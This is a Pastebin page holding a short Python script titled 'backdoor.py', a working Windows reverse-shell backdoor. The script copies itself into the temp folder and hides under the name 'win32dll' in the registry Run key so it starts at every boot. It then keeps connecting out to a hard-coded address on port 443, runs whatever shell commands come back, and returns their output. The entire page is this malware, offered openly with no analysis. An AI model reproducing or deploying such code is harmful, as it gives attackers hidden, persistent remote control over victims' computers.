Advertisement
Guest User

Untitled

a guest
Jan 16th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.11 KB | None | 0 0
  1. import socket
  2. import time
  3. import subprocess
  4. import tempfile
  5. import os
  6.  
  7. ip = (str('192.168.0.100'))
  8. port = (int('443'))
  9. filename = ('backdoor.py')
  10. tempdir = (tempfile.gettempdir())
  11. diretorio = (os.path.dirname(os.path.abspath(__file__)))
  12.  
  13. def autorun():
  14. try:
  15. os.system('copy ' + filename + ' ' + tempdir)
  16.  
  17.  
  18. except:
  19. pass
  20. try:
  21. fnull = open(os.devnull, 'w')
  22. subprocess.Popen('REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'
  23. " /v win32dll /d " + tempdir + "\\" + filename, stdout=fnull, stderr=fnull)
  24. except:
  25. print('Erro no registro')
  26. pass
  27.  
  28. def connect(ip, port):
  29. try:
  30. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31. s.connect((ip, port))
  32. s.send('[!] Connection received\n'.encode())
  33. return(s)
  34. except:
  35. print('\n[!!] Error in connect')
  36. return None
  37.  
  38. def listen(s):
  39. try:
  40. while True:
  41. data = s.recv(1024).decode()
  42. if data[:-1] == '/exit':
  43. s.close()
  44. exit(0)
  45. else:
  46. cmd(s, data[:-1])
  47. except:
  48. error(s)
  49.  
  50. def cmd(s, data):
  51. try:
  52. proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  53. ex = (proc.stdout.read() + proc.stderr.read())
  54. s.send(ex)
  55.  
  56. except:
  57. error(s)
  58.  
  59. def error(s):
  60. if s:
  61. s.close()
  62. main()
  63.  
  64.  
  65. def main():
  66. while True:
  67. s_connect = connect(ip, port)
  68. if s_connect:
  69. listen(s_connect)
  70. else:
  71. time.sleep(5)
  72.  
  73.  
  74. if diretorio != tempdir:
  75. autorun()
  76. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement